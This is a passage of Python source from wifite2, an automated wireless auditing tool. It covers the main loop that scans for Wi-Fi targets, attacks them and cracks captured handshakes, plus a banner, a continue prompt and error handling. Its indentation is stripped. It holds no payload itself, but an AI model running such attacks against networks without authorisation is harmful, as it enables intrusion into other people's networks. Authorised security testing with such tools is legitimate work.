if Configuration.show_cracked:
CrackResult.display()
elif Configuration.check_handshake:
Handshake.check()
elif Configuration.crack_handshake:
CrackHandshake()
else:
Configuration.get_monitor_mode_interface()
self.run()
def run(self):
'''
Main program.
1) Scans for targets, asks user to select targets
2) Attacks each target
'''
s = Scanner()
if s.target:
# We found the target we want
targets = [s.target]
else:
targets = s.select_targets()
attacked_targets = AttackAll.attack_multiple(targets)
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self):
""" Displays ASCII art of the highest caliber. """
Color.pl(r'{G} . {GR}{D} {W}{G} . {W}')
Color.pl(r'{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r'{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r'{G}`. · `{GR}{D}\ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r'{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}')
Color.pl('')
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''
if attacks_remaining == 0 and targets_remaining == 0:
# No targets or attacksleft, drop out
return
prompt_list = []
if attacks_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} attack(s)' % attacks_remaining))
if targets_remaining > 0:
prompt_list.append(Color.s('{C}%d{W} target(s)' % targets_remaining))
prompt = ' and '.join(prompt_list)
Color.pl('{+} %s remain, do you want to continue?' % prompt)
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:
return True
def run():
w = Wifite()
w.print_banner()
try:
w.main()
except Exception as e:
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
Color.pl('\n{!} {R}Exiting{W}\n')
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted, shutting down...{W}')
Configuration.exit_gracefully(0)
if __name__ == '__main__':
run()